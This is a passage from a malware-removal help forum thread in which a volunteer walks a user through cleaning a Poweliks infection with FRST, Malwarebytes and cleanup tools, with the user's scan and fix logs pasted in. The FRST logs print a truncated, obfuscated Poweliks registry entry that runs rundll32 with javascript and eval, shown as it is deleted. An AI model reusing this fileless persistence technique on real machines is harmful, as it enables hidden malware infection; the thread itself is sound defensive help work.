2014-11-21 19:56 - 01307136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll2014-12-10 07:50 - 2014-11-21 19:54 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll2014-12-10 07:49 - 2014-11-10 22:09 - 01424384 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll2014-12-10 07:49 - 2014-11-10 21:44 - 01230336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll2014-12-10 07:49 - 2014-11-10 20:46 - 00119296 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys2014-12-10 07:49 - 2014-10-29 21:03 - 00165888 _____ (Microsoft Corporation) C:\Windows\system32\charmap.exe2014-12-10 07:49 - 2014-10-29 20:45 - 00155136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\charmap.exe2014-12-10 07:48 - 2014-10-02 21:12 - 02020352 _____ (Microsoft Corporation) C:\Windows\system32\WsmSvc.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00346624 _____ (Microsoft Corporation) C:\Windows\system32\WSManMigrationPlugin.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00310272 _____ (Microsoft Corporation) C:\Windows\system32\WsmWmiPl.dll2014-12-10 07:48 - 2014-10-02 21:12 - 00181248 _____ (Microsoft Corporation) C:\Windows\system32\WsmAuto.dll2014-12-10 07:48 - 2014-10-02 21:11 - 00266240 _____ (Microsoft Corporation) C:\Windows\system32\WSManHTTPConfig.exe2014-12-10 07:48 - 2014-10-02 20:45 - 01177088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmSvc.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00248832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WSManMigrationPlugin.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00214016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmWmiPl.dll2014-12-10 07:48 - 2014-10-02 20:45 - 00145920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmAuto.dll2014-12-10 07:48 - 2014-10-02 20:44 - 00198656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WSManHTTPConfig.exe2014-12-10 07:47 - 2014-11-07 22:16 - 00002048 _____ (Microsoft Corporation) C:\Windows\system32\tzres.dll2014-12-10 07:47 - 2014-11-07 21:45 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tzres.dll2014-12-10 07:09 - 2014-12-10 07:09 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\535E59B9.sys2014-12-05 07:38 - 2014-12-06 14:22 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\27B368C4.sys==================== One Month Modified Files and Folders =======(If an entry is included in the fixlist, the file\folder will be moved.)2015-01-01 13:53 - 2009-07-13 23:45 - 00018576 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A02015-01-01 13:53 - 2009-07-13 23:45 - 00018576 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A02015-01-01 13:52 - 2010-08-11 10:07 - 00000000 ____D () C:\Copy2015-01-01 13:49 - 2013-05-13 18:17 - 00000898 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job2015-01-01 13:49 - 2010-08-02 17:17 - 01475131 _____ () C:\Windows\WindowsUpdate.log2015-01-01 13:47 - 2012-01-06 07:53 - 00000000 ___RD () C:\Users\Hagar\Dropbox2015-01-01 13:47 - 2012-01-06 07:50 - 00000000 ____D () C:\Users\Hagar\AppData\Roaming\Dropbox2015-01-01 13:46 - 2014-11-15 15:33 - 00000000 ___RD () C:\Users\Hagar\OneDrive2015-01-01 13:45 - 2014-05-21 07:39 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys2015-01-01 13:45 - 2013-10-11 16:19 - 00057499 _____ () C:\Windows\setupact.log2015-01-01 13:45 - 2013-05-13 18:17 - 00000894 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job2015-01-01 13:45 - 2009-07-14 00:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT2015-01-01 11:12 - 2014-06-10 12:56 - 00000562 _____ () C:\Windows\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001.job2015-01-01 11:03 - 2014-08-13 05:17 - 00000000 ____D () C:\Users\Hagar\AppData\Local\Adobe2015-01-01 11:02 - 2010-08-11 15:29 - 00000908 _____ () C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA.job2015-01-01 11:01 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\system32\NDF2014-12-31 19:01 - 2010-08-11 15:29 - 00000856 _____ () C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core.job2014-12-31 14:10 - 2010-11-09 14:44 - 00000000 ____D () C:\Program Files (x86)\Steam2014-12-31 08:55 - 2010-12-05 10:12 - 01108279 _____ () C:\Users\Hagar\seditor.launcher.log2014-12-31 07:31 - 2010-08-10 06:14 - 00190270 _____ () C:\Windows\PFRO.log2014-12-31 07:09 - 2009-07-14 00:13 - 00782510 _____ () C:\Windows\system32\PerfStringBackup.INI2014-12-28 17:07 - 2010-08-09 18:21 - 00000000 ____D () C:\Users\Hagar2014-12-26 17:05 - 2013-05-14 20:16 - 00000000 ____D () C:\Users\Hagar\Documents\Saved recipes2014-12-26 17:04 - 2012-08-28 17:27 - 00000000 ____D () C:\Users\Hagar\Documents\Online Purchase Confirmations2014-12-20 13:27 - 2014-06-10 12:56 - 00003588 _____ () C:\Windows\System32\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-10012014-12-17 06:53 - 2009-07-14 00:08 - 00032544 _____ () C:\Windows\Tasks\SCHEDLGU.TXT2014-12-14 15:49 - 2012-04-05 06:22 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe2014-12-14 15:49 - 2011-05-19 06:22 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl2014-12-13 15:45 - 2012-01-06 07:51 - 00000000 ____D () C:\Users\Hagar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Dropbox2014-12-12 07:04 - 2010-08-11 15:30 - 00002368 _____ () C:\Users\Hagar\Desktop\Google Chrome.lnk2014-12-10 12:27 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\rescache2014-12-10 08:44 - 2012-01-31 08:20 - 00000000 ____D () C:\Users\Hagar\Documents\Work & Resume Related Files2014-12-10 08:20 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\PolicyDefinitions2014-12-10 07:58 - 2013-08-14 19:39 - 00000000 ____D () C:\Windows\system32\MRT2014-12-10 07:44 - 2014-10-10 06:44 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk2014-12-04 15:17 - 2014-05-21 07:38 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware2014-12-04 15:17 - 2014-05-21 07:38 - 00000000 ____D () C:\Program Files (x86)\Malwarebytes Anti-Malware2014-12-04 15:17 - 2012-03-28 08:56 - 00001142 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk2014-12-03 14:11 - 2012-12-08 16:43 - 00000000 ____D () C:\Users\Hagar\Documents\Judy Hoffman2014-12-03 14:11 - 2011-11-30 15:36 - 00000000 ____D () C:\Users\Hagar\Documents\Holiday Newsletters2014-12-02 08:35 - 2014-10-15 09:01 - 00012673 _____ () C:\Users\Hagar\Documents\Fax Cover Sheet.odtSome content of TEMP:====================C:\Users\Hagar\AppData\Local\Temp\6bak3aub.dllC:\Users\Hagar\AppData\Local\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmp_smpbj.dllC:\Users\Hagar\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u55-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u65-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u67-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\lowproc.exeC:\Users\Hagar\AppData\Local\Temp\MouseKeyboardCenterx64_1033.exeC:\Users\Hagar\AppData\Local\Temp\Quarantine.exeC:\Users\Hagar\AppData\Local\Temp\siinst.exeC:\Users\Hagar\AppData\Local\Temp\siuninst.exeC:\Users\Hagar\AppData\Local\Temp\sqlite3.dllC:\Users\Hagar\AppData\Local\Temp\strings.dllC:\Users\Hagar\AppData\Local\Temp\stubhelper.dll==================== Bamital & volsnap Check =================(There is no automatic fix for files that do not pass verification.)C:\Windows\System32\winlogon.exe => File is digitally signedC:\Windows\System32\wininit.exe => File is digitally signedC:\Windows\SysWOW64\wininit.exe => File is digitally signedC:\Windows\explorer.exe => File is digitally signedC:\Windows\SysWOW64\explorer.exe => File is digitally signedC:\Windows\System32\svchost.exe => File is digitally signedC:\Windows\SysWOW64\svchost.exe => File is digitally signedC:\Windows\System32\services.exe => File is digitally signedC:\Windows\System32\User32.dll => File is digitally signedC:\Windows\SysWOW64\User32.dll => File is digitally signedC:\Windows\System32\userinit.exe => File is digitally signedC:\Windows\SysWOW64\userinit.exe => File is digitally signedC:\Windows\System32\rpcss.dll => File is digitally signedC:\Windows\System32\Drivers\volsnap.sys => File is digitally signedLastRegBack: 2014-12-25 08:56==================== End Of Log ============================ Link to post Share on other sites More sharing options...
kevinf80 Posted January 1, 2015 ID:925101 Share Posted January 1, 2015 mmm Poweliks infection is still present on your system, run the following, please read and follow the instructions carefully... Download attached fixlist.txt file (end of reply) and save it to the Desktop, or the folder you saved FRST into.NOTE. It's important that both FRST and fixlist.txt are in the same location or the fix will not work. Run FRST and press the Fix button just once and wait.The tool will make a log on the Desktop (Fixlog.txt) or the folder it was ran from. Please post it to your reply.Fixlist.txt Link to post Share on other sites More sharing options...
caracaldad Posted January 2, 2015 Author ID:925147 Share Posted January 2, 2015 I hope I'm not cursing myself, but I may just have to dare that it looks like my (current PC) problems are resolved! By that I mean I don't have any more pop-ups - of course the computer has only been running for about 10 minutes since rebooting. If it turns out things ARE fixed, then this will likely be my last post to this thread. If so I would be very remiss if I didn't lay a really big THANK YOU for all your time and help! ________________________________Fixlog.txt Fix result of Farbar Recovery Tool (FRST written by Farbar) (x64) Version: 28-12-2014Ran by Hagar at 2015-01-01 19:42:14 Run:1Running from C:\CopyLoaded Profile: Hagar (Available profiles: Hagar & Andy)Boot Mode: Normal==============================================Content of fixlist:*****************startHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\RunOnce: [Adobe Speed Launcher] => 1420137972HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {4c96ad0d-cb85-11e2-80f0-1c6f6527da81} - E:\StartClickFreeBackup.exeHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {65db583b-d7dc-11e1-ad8a-1c6f6527da81} - E:\LaunchU3.exe -aHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!S3 gdrv; \??\C:\Windows\gdrv.sys [X]C:\Users\Hagar\AppData\Local\Temp\6bak3aub.dllC:\Users\Hagar\AppData\Local\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmp_smpbj.dllC:\Users\Hagar\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u55-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u65-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u67-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\lowproc.exeC:\Users\Hagar\AppData\Local\Temp\MouseKeyboardCenterx64_1033.exeC:\Users\Hagar\AppData\Local\Temp\Quarantine.exeC:\Users\Hagar\AppData\Local\Temp\siinst.exeC:\Users\Hagar\AppData\Local\Temp\siuninst.exeC:\Users\Hagar\AppData\Local\Temp\sqlite3.dllC:\Users\Hagar\AppData\Local\Temp\strings.dllC:\Users\Hagar\AppData\Local\Temp\stubhelper.dllCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{0F22A205-CFB0-4679-8499-A6F44A80A208}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.5\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.23.9\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.24.15\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks?EmptyTemp:end *****************HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Windows\CurrentVersion\RunOnce\\Adobe Speed Launcher => Value not found."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{4c96ad0d-cb85-11e2-80f0-1c6f6527da81}" => Key deleted successfully.HKCR\CLSID\{4c96ad0d-cb85-11e2-80f0-1c6f6527da81} => Key not found."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{65db583b-d7dc-11e1-ad8a-1c6f6527da81}" => Key deleted successfully.HKCR\CLSID\{65db583b-d7dc-11e1-ad8a-1c6f6527da81} => Key not found."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32" => Key Deleted Successfully."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" => Key deleted successfully.gdrv => Service deleted successfully.C:\Users\Hagar\AppData\Local\Temp\6bak3aub.dll => Moved successfully."C:\Users\Hagar\AppData\Local\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmp_smpbj.dll" => File/Directory not found.C:\Users\Hagar\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\jre-7u55-windows-i586-iftw.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\jre-7u65-windows-i586-iftw.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\jre-7u67-windows-i586-iftw.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\lowproc.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\MouseKeyboardCenterx64_1033.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\Quarantine.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\siinst.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\siuninst.exe => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\sqlite3.dll => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\strings.dll => Moved successfully.C:\Users\Hagar\AppData\Local\Temp\stubhelper.dll => Moved successfully."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{0F22A205-CFB0-4679-8499-A6F44A80A208}" => Key deleted successfully."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}" => Key deleted successfully."HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}" => Key deleted successfully.HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} => Key not found.EmptyTemp: => Removed 6.1 GB temporary data.The system needed a reboot.==== End of Fixlog 20:02:01 ==== Link to post Share on other sites More sharing options...
kevinf80 Posted January 2, 2015 ID:925152 Share Posted January 2, 2015 There will always be a clean up of tools etc to complete when we are sure the system is clean... For now run another threat scan with malwarebytes as follows: Open Malwarebytes Anti-Malware, from the Dashboard please Check for Updates by clicking the Update Now... linkWhen the update completes select > Settings > Detection and Protection > Enable Scan for rootkit and Under Non Malware Protection set both PUP and PUM to Treat detections as malware. Click on the SCAN button and run a Threat Scan with Malwarebytes Anti-Malware by clicking the Scan Now>> button. When the scan is complete, if there have been detections, click Apply Actions to allow MBAM to clean what was detected. In most cases, a restart will be required. Wait for the prompt to restart the computer to appear, then click on Yes. When the scan is completed from the main GUI click on History > Application Logs. Find your scan log, the date when run will identify it. Checkmark "select" box > then hit the "view" button. The history log window will open. At the bottom of that window are two options, "Copy to clipboard" and "Export" Select > "Copy to clipboard" that copies the full log to the windows clipboard, so at your reply you right click into the text field and select "Paste" the log is pasted (copied) to your reply. Or select "Export" you are given the option to export as a Text file (*.txt) or XML file (*.xml) Choose text file, save the exported file to a place of your choice. That file can be attached to your reply... Next, Download Security Check by screen317 from either of the following: http://screen317.spywareinfoforum.org/SecurityCheck.exe or http://screen317.changelog.fr/SecurityCheck.exe Save it to your Desktop. (If your security alerts either accept the alert, or turn the security off while Secuirity Check runs)Double click SecurityCheck.exe (Vista or Windows 7/8 users right click and select "Run as Administrator") and follow the onscreen instructions inside of the black box. Press any key when asked.A Notepad document should open automatically called checkup.txt; please post the contents of that document. If Security Check will not run or you get an alert saying it is not supported, Re-boot your PC then try again... Thanks, Kevin... Link to post Share on other sites More sharing options...
caracaldad Posted January 2, 2015 Author ID:925157 Share Posted January 2, 2015 Gee, you're like my wife "The job ain't done until you've cleaned up!" LOL All kidding aside, you're right, we do need to confirm. _______________________________________Malwarebytes Run Log Malwarebytes Anti-Malwarewww.malwarebytes.orgScan Date: 1/1/2015Scan Time: 8:58:18 PMLogfile: Malwarebytes_Run_Log.txtAdministrator: YesVersion: 2.00.4.1028Malware Database: v2015.01.02.01Rootkit Database: v2014.12.30.01License: PremiumMalware Protection: EnabledMalicious Website Protection: EnabledSelf-protection: EnabledOS: Windows 7 Service Pack 1CPU: x64File System: NTFSUser: HagarScan Type: Threat ScanResult: CompletedObjects Scanned: 379011Time Elapsed: 20 min, 24 secMemory: EnabledStartup: EnabledFilesystem: EnabledArchives: EnabledRootkits: EnabledHeuristics: EnabledPUP: EnabledPUM: EnabledProcesses: 0(No malicious items detected)Modules: 0(No malicious items detected)Registry Keys: 0(No malicious items detected)Registry Values: 0(No malicious items detected)Registry Data: 0(No malicious items detected)Folders: 0(No malicious items detected)Files: 0(No malicious items detected)Physical Sectors: 0(No malicious items detected)(end) _______________________________________checkup.txt Results of screen317's Security Check version 0.99.93 Windows 7 Service Pack 1 x64 (UAC is enabled) Internet Explorer 11 ``````````````Antivirus/Firewall Check:`````````````` Windows Firewall Enabled! Microsoft Security Essentials Antivirus up to date! `````````Anti-malware/Other Utilities Check:````````` Java 7 Update 71 Adobe Flash Player 11.9.900.170 Flash Player out of Date! Adobe Reader XI Mozilla Firefox 27.0 Firefox out of Date! Google Chrome (39.0.2171.71) Google Chrome (39.0.2171.95)````````Process Check: objlist.exe by Laurent```````` Microsoft Security Essentials MSMpEng.exe Microsoft Security Essentials msseces.exe Malwarebytes Anti-Malware mbamservice.exe Malwarebytes Anti-Malware mbam.exe Malwarebytes Anti-Malware mbamscheduler.exe Common Files Microsoft Shared Microsoft Online Services MSOIDSVC.EXE Common Files Microsoft Shared Microsoft Online Services MSOIDSvcm.exe`````````````````System Health check````````````````` Total Fragmentation on Drive C: 0%````````````````````End of Log`````````````````````` Link to post Share on other sites More sharing options...
kevinf80 Posted January 2, 2015 ID:925213 Share Posted January 2, 2015 Lets continue as follows: Go here http://www.adobe.com/shockwave/welcome/ and have Adobe Flashplayer checked. Accept new version if required. There maybe an offer of Google Chrome etc, untick those options if offered... Next, Go here: https://support.mozilla.org/en-US/kb/update-firefox-latest-version update Firefox to latest version... Next, If no remaining issues or concerns run the following to clean up: Download "Delfix by Xplode" and save it to your desktop. Or use the following if first link is down: "Delfix link mirror" Double Click to start the program. If you are using Vista or higher, please right-click and choose run as administrator Make Sure the following items are checked: Activate UAC Remove disinfection tools Create registry backup Purge System Restore Reset system settings Now click on "Run" and wait patiently until the tool has completed. The tool will create a log when it has completed. We don't need you to post this. Part of the routine will be to create a registry back up with ERUNT, the back up will be created here: C:\Windows\ERUNT When all is known to be well with your system you can delete that back up folder if you consider it as not needed... Any remnant files/logs from tools we have used can be deleted… Next, Read the following link to fully understand PC security and best practices, you may find it useful.... http://www.bleepingcomputer.com/forums/t/407147/answers-to-common-security-questions-best-practices/#entry2316629 Let me know if we are ok to close out, Thanks, Kevin.... Link to post Share on other sites More sharing options...
caracaldad Posted January 2, 2015 Author ID:925249 Share Posted January 2, 2015 Results from latest instructions: Odd, but the Adobe site says I'm running the latest version.I updated Firefox, even tho I never use it - good idea to have the latest in case I feel like firing it up tho.Ran Delfix, directory noted.Reviewed good practices (long read but only fell asleep once!). I should know better, after all I AM in IT myself and have been playing with PCs since a large hard drive was only 20 mb in size. But this time I just clicked on the wrong things and poof - I was caught.Thanks again for all your help. It does indeed look like we're good to close this issue. Again, MANY thanks! Link to post Share on other sites More sharing options...
kevinf80 Posted January 2, 2015 ID:925347 Share Posted January 2, 2015 Thanks for the update, it was a pleasure to work woth you... Take care and surf safe, Kevin... Link to post Share on other sites More sharing options...
Root Admin AdvancedSetup Posted January 7, 2015 Root Admin ID:927197 Share Posted January 7, 2015 Glad we could help. If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this thread with your request. This applies only to the originator of this thread. Other members who need assistance please start your own topic in a new thread. Thanks! Link to post Share on other sites More sharing options...
Recommended Posts